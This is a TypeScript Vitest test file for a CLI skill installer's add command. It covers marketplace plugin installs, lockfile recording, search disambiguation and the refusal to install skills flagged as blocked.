      text: async () => SAMPLE_MARKETPLACE_JSON,
    }) as unknown as typeof fetch;

    mockReadFileSync.mockReturnValue(SAMPLE_MARKETPLACE_JSON);
    mockExistsSync.mockReturnValue(true);
    mockReaddirSync.mockReturnValue([]);
    mockStatSync.mockReturnValue({ isDirectory: () => true, isFile: () => false });

    // With --plugin flag, it goes to installRepoPlugin directly
    await addCommand("owner/repo", { plugin: "plugin-a" }).catch(() => {});

    // discoverSkills should NOT be called (plugin flag routes differently)
    // detectMarketplaceRepo is also not called (plugin flag checked first)
  });

  it("TC-013: summary shows correct counts with mixed success/failure", async () => {
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => SAMPLE_MARKETPLACE_JSON,
      })
      .mockResolvedValue({
        ok: true,
        json: async () => [{ name: "test-skill", type: "dir" }],
        text: async () => "# Skill Content",
      }) as unknown as typeof fetch;

    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);

    await addCommand("owner/repo", { yes: true });

    expect(mockWriteLockfile).toHaveBeenCalled();
    const lockArg = mockWriteLockfile.mock.calls[0][0];
    expect(lockArg.skills["plugin-a"]).toBeDefined();
    expect(lockArg.skills["plugin-b"]).toBeDefined();
    expect(lockArg.skills["plugin-c"]).toBeDefined();
  });

  it("TC-014: no temp directory created during marketplace install", async () => {
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => SAMPLE_MARKETPLACE_JSON,
      }) as unknown as typeof fetch;

    await addCommand("owner/repo", { yes: true });

    // No temp dir should be created or cleaned up — files extracted directly
    expect(mockMkdtempSync).not.toHaveBeenCalled();
    expect(mockRmSync).not.toHaveBeenCalled();
  });

  it("TC-015: lockfile records marketplace source format", async () => {
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => SAMPLE_MARKETPLACE_JSON,
      })
      .mockResolvedValue({
        ok: true,
        json: async () => [{ name: "test-skill", type: "dir" }],
        text: async () => "# Skill Content",
      }) as unknown as typeof fetch;

    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);

    await addCommand("owner/repo", { yes: true });

    const lockArg = mockWriteLockfile.mock.calls[0][0];
    expect(lockArg.skills["plugin-a"].source).toBe("marketplace:owner/repo#plugin-a");
    expect(lockArg.skills["plugin-a"].marketplace).toBe("test-marketplace");
    expect(lockArg.skills["plugin-a"].pluginDir).toBe(true);
    expect(lockArg.skills["plugin-a"].version).toBe("1.0.0");
    expect(lockArg.skills["plugin-b"].version).toBe("2.0.0");
  });

  it("TC-017: unchecking installed plugins in interactive mode uninstalls them", async () => {
    // Set up lockfile with 2 previously installed plugins
    mockReadLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {
        "plugin-a": { version: "1.0.0", source: "marketplace:owner/repo#plugin-a" },
        "plugin-b": { version: "2.0.0", source: "marketplace:owner/repo#plugin-b" },
      },
      createdAt: new Date().toISOString(),
      updatedAt: new Date().toISOString(),
    });

    // Marketplace detection succeeds + fallback for skill discovery/download
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => SAMPLE_MARKETPLACE_JSON,
      })
      .mockResolvedValue({
        ok: true,
        json: async () => [{ name: "test-skill", type: "dir" }],
        text: async () => "# Skill Content",
      }) as unknown as typeof fetch;

    // Enable interactive mode
    mockIsTTY.mockReturnValue(true);
    // First checkbox: user selects only plugin-c (index 2)
    // Second checkbox: agent selection — select first agent (index 0)
    mockPromptCheckboxList
      .mockResolvedValueOnce([2])
      .mockResolvedValueOnce([0]);

    // Agents for uninstall directory removal + skill install
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    // Skill directories exist
    mockExistsSync.mockReturnValue(true);

    await addCommand("owner/repo", {});

    // Should uninstall plugin-a and plugin-b
    expect(mockRemoveSkillFromLock).toHaveBeenCalledTimes(2);
    expect(mockRemoveSkillFromLock).toHaveBeenCalledWith("plugin-a", expect.any(String));
    expect(mockRemoveSkillFromLock).toHaveBeenCalledWith("plugin-b", expect.any(String));

    // Should remove skill directories from filesystem
    expect(mockRmSync).toHaveBeenCalled();
  });

  it("TC-018: --yes mode does NOT uninstall previously installed plugins", async () => {
    // Set up lockfile with 2 previously installed plugins
    mockReadLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {
        "plugin-a": { version: "1.0.0", source: "marketplace:owner/repo#plugin-a" },
        "plugin-b": { version: "2.0.0", source: "marketplace:owner/repo#plugin-b" },
      },
      createdAt: new Date().toISOString(),
      updatedAt: new Date().toISOString(),
    });

    // Marketplace detection succeeds
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => SAMPLE_MARKETPLACE_JSON,
      }) as unknown as typeof fetch;

    // --yes auto-selects all — should NOT uninstall anything
    await addCommand("owner/repo", { yes: true });

    expect(mockRemoveSkillFromLock).not.toHaveBeenCalled();
  });

});

// ---------------------------------------------------------------------------
// Unregistered plugin discovery integration (increment 0433)
// ---------------------------------------------------------------------------

describe("addCommand unregistered plugin discovery", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockCheckPlatformSecurity.mockResolvedValue(null);
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
    mockMkdtempSync.mockReturnValue("/tmp/vskill-marketplace-abc123");
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  it("--yes without --force skips unregistered plugins", async () => {
    // Marketplace detection succeeds
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => SAMPLE_MARKETPLACE_JSON,
      })
      .mockResolvedValue({
        ok: true,
        json: async () => [{ name: "test-skill", type: "dir" }],
        text: async () => "# Skill Content",
      }) as unknown as typeof fetch;

    // Discovery returns unregistered plugins
    mockDiscoverUnregisteredPlugins.mockResolvedValue({
      plugins: [
        { name: "new-plugin", source: "./plugins/new-plugin" },
      ],
      failed: false,
    });

    await addCommand("owner/repo", { yes: true });

    // Console output should mention skipping unregistered
    const logOutput = (console.log as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(logOutput).toContain("Skipping");
    expect(logOutput).toContain("new-plugin");
  });

  it("--yes --force includes unregistered plugins", async () => {
    // Marketplace detection succeeds
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => SAMPLE_MARKETPLACE_JSON,
      })
      .mockResolvedValue({
        ok: true,
        json: async () => [{ name: "test-skill", type: "dir" }],
        text: async () => "# Skill Content",
      }) as unknown as typeof fetch;

    // Discovery returns unregistered plugins
    mockDiscoverUnregisteredPlugins.mockResolvedValue({
      plugins: [
        { name: "new-plugin", source: "./plugins/new-plugin" },
      ],
      failed: false,
    });

    await addCommand("owner/repo", { yes: true, force: true });

    // Console output should mention including unregistered
    const logOutput = (console.log as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(logOutput).toContain("Including");
    expect(logOutput).toContain("new-plugin");
  });

  it("shows incomplete warning when discovery API fails", async () => {
    // Marketplace detection succeeds
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => SAMPLE_MARKETPLACE_JSON,
      })
      .mockResolvedValue({
        ok: true,
        json: async () => [{ name: "test-skill", type: "dir" }],
        text: async () => "# Skill Content",
      }) as unknown as typeof fetch;

    // Discovery fails (API error)
    mockDiscoverUnregisteredPlugins.mockResolvedValue({
      plugins: [],
      failed: true,
    });

    await addCommand("owner/repo", { yes: true });

    // Should show warning about incomplete plugin list
    const logOutput = (console.log as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(logOutput).toContain("incomplete");
  });
});

// ---------------------------------------------------------------------------
// resolveViaSearch — flat name search disambiguation (0504)
// ---------------------------------------------------------------------------

describe("resolveViaSearch (flat name search disambiguation)", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockCheckPlatformSecurity.mockResolvedValue(null);
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockFindProjectRoot.mockReturnValue(process.cwd());
    mockPromptCheckboxList.mockResolvedValue([0]);
    mockPromptConfirm.mockResolvedValue(true);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  // T-002: single result auto-installs
  it("auto-installs when search returns exactly one non-blocked result", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "skill-creator", author: "acme", ownerSlug: "acme", repoSlug: "tools", skillSlug: "skill-creator", githubStars: 100, score: 90, tier: "VERIFIED", installs: 10, description: "A skill" },
      ],
      hasMore: false,
    });

    // The re-invocation of addCommand("acme/tools/skill-creator") will hit the 3-part branch
    // which calls detectMarketplaceRepo → then installSingleSkillLegacy
    mockDiscoverSkills.mockResolvedValue([]);
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill Creator\nCreates skills.",
    }) as unknown as typeof fetch;

    await addCommand("skill-creator", {});

    expect(mockSearchSkills).toHaveBeenCalledWith("skill-creator");
    // Verify it went through the 3-part path (installSingleSkillLegacy)
    const logOutput = (console.log as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(logOutput).toContain("acme/tools/skill-creator");
  });

  // T-002: zero results prints error
  it("prints error and suggests vskill find when zero results", async () => {
    mockSearchSkills.mockResolvedValue({ results: [], hasMore: false });
    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("nonexistent-skill", {});

    expect(mockExit).toHaveBeenCalledWith(1);
    const errOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errOutput).toContain("vskill find nonexistent-skill");
    mockExit.mockRestore();
  });

  // T-002: search API error falls back to installFromRegistry
  it("falls back to installFromRegistry when search API throws", async () => {
    mockSearchSkills.mockRejectedValue(new Error("Network error"));
    mockGetSkill.mockResolvedValue({
      name: "my-skill",
      author: "alice",
      version: "1.0.0",
      content: "# My Skill",
      installs: 0,
      updatedAt: "",
    });

    await addCommand("my-skill", {});

    expect(mockGetSkill).toHaveBeenCalledWith("my-skill");
  });

  // T-002: single blocked result treated as zero installable
  it("treats single blocked result as zero installable", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "bad-skill", author: "evil", ownerSlug: "evil", repoSlug: "bad", skillSlug: "bad-skill", isBlocked: true, githubStars: 0, score: 0, tier: "BLOCKED", installs: 0, description: "Bad" },
      ],
      hasMore: false,
    });
    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("bad-skill", {});

    expect(mockExit).toHaveBeenCalledWith(1);
    const errOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errOutput).toContain("No installable skills found");
    mockExit.mockRestore();
  });

  // T-003: TTY interactive disambiguation
  it("shows interactive prompt for multiple TTY results and installs selected", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "skill-a", author: "a", ownerSlug: "a", repoSlug: "repo-a", skillSlug: "skill-a", githubStars: 100, score: 90, tier: "VERIFIED", installs: 10, description: "A" },
        { name: "skill-b", author: "b", ownerSlug: "b", repoSlug: "repo-b", skillSlug: "skill-b", githubStars: 50, score: 80, tier: "VERIFIED", installs: 5, description: "B" },
        { name: "skill-c", author: "c", ownerSlug: "c", repoSlug: "repo-c", skillSlug: "skill-c", githubStars: 25, score: 70, tier: "VERIFIED", installs: 2, description: "C" },
      ],
      hasMore: false,
    });

    mockIsTTY.mockReturnValue(true);
    // User selects the second option (index 1)
    mockPromptChoice.mockResolvedValue(1);

    // After selection, addCommand re-enters with 3-part path
    mockDiscoverSkills.mockResolvedValue([]);
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill B content",
    }) as unknown as typeof fetch;

    await addCommand("skill", {});

    expect(mockPromptChoice).toHaveBeenCalledWith(
      expect.stringContaining("Select a skill"),
      expect.arrayContaining([
        expect.objectContaining({ label: "a/repo-a/skill-a" }),
        expect.objectContaining({ label: "b/repo-b/skill-b" }),
        expect.objectContaining({ label: "c/repo-c/skill-c" }),
      ]),
    );
  });

  // T-003: blocked results displayed but not selectable
  it("excludes blocked results from promptChoice options", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "good-a", author: "a", ownerSlug: "a", repoSlug: "ra", skillSlug: "good-a", githubStars: 100, score: 90, tier: "VERIFIED", installs: 10, description: "A" },
        { name: "good-b", author: "b", ownerSlug: "b", repoSlug: "rb", skillSlug: "good-b", githubStars: 50, score: 80, tier: "VERIFIED", installs: 5, description: "B" },
        { name: "blocked", author: "evil", ownerSlug: "evil", repoSlug: "bad", skillSlug: "blocked", isBlocked: true, githubStars: 0, score: 0, tier: "BLOCKED", installs: 0, description: "Bad" },
      ],
      hasMore: false,
    });

    mockIsTTY.mockReturnValue(true);
    mockPromptChoice.mockResolvedValue(0);

    mockDiscoverSkills.mockResolvedValue([]);
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Content",
    }) as unknown as typeof fetch;

    await addCommand("skill", {});

    // promptChoice should have 2 options (blocked excluded)
    const choices = mockPromptChoice.mock.calls[0][1];
    expect(choices).toHaveLength(2);
    expect(choices.map((c: { label: string }) => c.label)).not.toContain("evil/bad/blocked");
  });

  // T-005: non-TTY prints list and exits
  it("prints ranked list and exits 1 in non-TTY with multiple results", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "skill-a", author: "a", ownerSlug: "a", repoSlug: "ra", skillSlug: "skill-a", githubStars: 100, score: 90, tier: "VERIFIED", installs: 10, description: "A" },
        { name: "skill-b", author: "b", ownerSlug: "b", repoSlug: "rb", skillSlug: "skill-b", githubStars: 50, score: 80, tier: "VERIFIED", installs: 5, description: "B" },
      ],
      hasMore: false,
    });

    mockIsTTY.mockReturnValue(false);
    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("skill", {});

    expect(mockExit).toHaveBeenCalledWith(1);
    const errOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errOutput).toContain("Ambiguous match");
    expect(errOutput).toContain("owner/repo/skill");
    mockExit.mockRestore();
  });

  // T-005: non-TTY error mentions exact path format
  it("non-TTY error message instructs exact path format", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "skill-a", author: "a", ownerSlug: "a", repoSlug: "ra", skillSlug: "skill-a", githubStars: 100, score: 90, tier: "VERIFIED", installs: 10, description: "A" },
        { name: "skill-b", author: "b", ownerSlug: "b", repoSlug: "rb", skillSlug: "skill-b", githubStars: 50, score: 80, tier: "VERIFIED", installs: 5, description: "B" },
      ],
      hasMore: false,
    });

    mockIsTTY.mockReturnValue(false);
    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("skill", {});

    const allOutput = [
      ...(console.error as ReturnType<typeof vi.fn>).mock.calls,
      ...(console.log as ReturnType<typeof vi.fn>).mock.calls,
    ].map((c: unknown[]) => String(c[0])).join("\n");
    expect(allOutput).toContain("vskill install owner/repo/skill");
    mockExit.mockRestore();
  });

  // T-007: 2-part path skips resolveViaSearch
  it("2-part owner/repo path does not call searchSkills", async () => {
    mockDiscoverSkills.mockResolvedValue([]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    await addCommand("owner/repo", {});

    expect(mockSearchSkills).not.toHaveBeenCalled();
  });

  // T-007: 3-part path skips resolveViaSearch
  it("3-part owner/repo/skill path does not call searchSkills", async () => {
    mockDiscoverSkills.mockResolvedValue([]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    await addCommand("owner/repo/skill", {});

    expect(mockSearchSkills).not.toHaveBeenCalled();
  });

  // T-008: --yes auto-picks first ranked non-blocked result
  it("--yes flag auto-picks first ranked non-blocked result without prompting", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "skill-a", author: "a", ownerSlug: "a", repoSlug: "ra", skillSlug: "skill-a", githubStars: 100, score: 90, tier: "VERIFIED", installs: 10, description: "A" },
        { name: "skill-b", author: "b", ownerSlug: "b", repoSlug: "rb", skillSlug: "skill-b", githubStars: 50, score: 80, tier: "VERIFIED", installs: 5, description: "B" },
      ],
      hasMore: false,
    });

    mockIsTTY.mockReturnValue(true);

    mockDiscoverSkills.mockResolvedValue([]);
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Content",
    }) as unknown as typeof fetch;

    await addCommand("skill", { yes: true });

    // promptChoice should NOT be called
    expect(mockPromptChoice).not.toHaveBeenCalled();

    const logOutput = (console.log as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(logOutput).toContain("Auto-selecting first result");
    expect(logOutput).toContain("a/ra/skill-a");
  });

  // T-008: --yes with all blocked exits 1
  it("--yes flag with all blocked results exits with code 1", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "blocked-a", author: "evil", ownerSlug: "evil", repoSlug: "ba", skillSlug: "blocked-a", isBlocked: true, githubStars: 0, score: 0, tier: "BLOCKED", installs: 0, description: "Bad" },
        { name: "blocked-b", author: "evil", ownerSlug: "evil", repoSlug: "bb", skillSlug: "blocked-b", isBlocked: true, githubStars: 0, score: 0, tier: "BLOCKED", installs: 0, description: "Bad" },
      ],
      hasMore: false,
    });

    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("blocked", { yes: true });

    expect(mockExit).toHaveBeenCalledWith(1);
    mockExit.mockRestore();
  });

  // T-008: --yes on non-TTY also auto-picks (does not exit 1)
  it("--yes flag on non-TTY auto-picks first result", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "skill-a", author: "a", ownerSlug: "a", repoSlug: "ra", skillSlug: "skill-a", githubStars: 100, score: 90, tier: "VERIFIED", installs: 10, description: "A" },
        { name: "skill-b", author: "b", ownerSlug: "b", repoSlug: "rb", skillSlug: "skill-b", githubStars: 50, score: 80, tier: "VERIFIED", installs: 5, description: "B" },
      ],
      hasMore: false,
    });

    mockIsTTY.mockReturnValue(false);

    mockDiscoverSkills.mockResolvedValue([]);
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Content",
    }) as unknown as typeof fetch;

    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("skill", { yes: true });

    // Should NOT exit 1 — --yes overrides non-TTY behavior
    expect(mockExit).not.toHaveBeenCalled();
    expect(mockPromptChoice).not.toHaveBeenCalled();
    mockExit.mockRestore();
  });

  // T-006: all results blocked displays them with BLOCKED labels
  it("displays all blocked results with BLOCKED labels before error", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "blocked-a", author: "evil", ownerSlug: "evil", repoSlug: "ba", skillSlug: "blocked-a", isBlocked: true, threatType: "credential-theft", severity: "critical", githubStars: 0, score: 0, tier: "BLOCKED", installs: 0, description: "Bad" },
        { name: "blocked-b", author: "evil", ownerSlug: "evil", repoSlug: "bb", skillSlug: "blocked-b", isBlocked: true, githubStars: 0, score: 0, tier: "BLOCKED", installs: 0, description: "Bad" },
      ],
      hasMore: false,
    });

    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("blocked", {});

    const logOutput = (console.log as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(logOutput).toContain("BLOCKED");
    expect(mockExit).toHaveBeenCalledWith(1);
    mockExit.mockRestore();
  });

  // T-006: results with missing slug fields not in installable set
  it("results missing slug fields are displayed but not installable", async () => {
    mockSearchSkills.mockResolvedValue({
      results: [
        { name: "no-slugs", author: "a", repoUrl: "https://github.com/a/b", githubStars: 1000, score: 99, tier: "CERTIFIED", installs: 0, description: "No slugs" },
      ],
      hasMore: false,
    });

    const mockExit = vi.spyOn(process, "exit").mockImplementation((() => {}) as () => never);

    await addCommand("no-slugs", {});

    // Should treat as zero installable (missing ownerSlug/repoSlug/skillSlug)
    expect(mockExit).toHaveBeenCalledWith(1);
    mockExit.mockRestore();
  });
});

// ---------------------------------------------------------------------------
// Skill Versioning: 64-char SHA, files manifest, version extraction (0584)
// ---------------------------------------------------------------------------

describe("skill versioning (0584)", () => {
  beforeEach(() => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockFilterAgents.mockImplementation((agents: unknown[]) => agents);
    mockFindProjectRoot.mockReturnValue(process.cwd());
    mockCheckPlatformSecurity.mockResolvedValue(null);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
  });

  it("lockfile entry sha is 64 characters (not 12) for GitHub flat install", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "my-skill", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
    ]);
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# My Skill",
    }) as unknown as typeof fetch;

    await addCommand("owner/repo", {});

    const lockArg = mockWriteLockfile.mock.calls[0]?.[0] as { skills: Record<string, { sha: string }> } | undefined;
    expect(lockArg).toBeDefined();
    const entry = lockArg!.skills["my-skill"];
    expect(entry).toBeDefined();
    expect(entry.sha).toBeDefined();
    expect(entry.sha.length).toBe(64);
  });

  it("lockfile entry contains files array with sorted relative paths", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "my-skill", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
    ]);
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# My Skill",
    }) as unknown as typeof fetch;

    await addCommand("owner/repo", {});

    const lockArg = mockWriteLockfile.mock.calls[0]?.[0] as { skills: Record<string, { files?: string[] }> } | undefined;
    expect(lockArg).toBeDefined();
    const entry = lockArg!.skills["my-skill"];
    expect(entry).toBeDefined();
    expect(entry.files).toBeDefined();
    expect(Array.isArray(entry.files)).toBe(true);
    expect(entry.files).toEqual(["SKILL.md"]);
  });

  it("version defaults to 1.0.0 for first install when no frontmatter version", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "my-skill", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
    ]);
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# My Skill\nNo frontmatter here",
    }) as unknown as typeof fetch;

    await addCommand("owner/repo", {});

    const lockArg = mockWriteLockfile.mock.calls[0]?.[0] as { skills: Record<string, { version: string }> } | undefined;
    expect(lockArg).toBeDefined();
    const entry = lockArg!.skills["my-skill"];
    expect(entry).toBeDefined();
    expect(entry.version).toBe("1.0.0");
  });
});
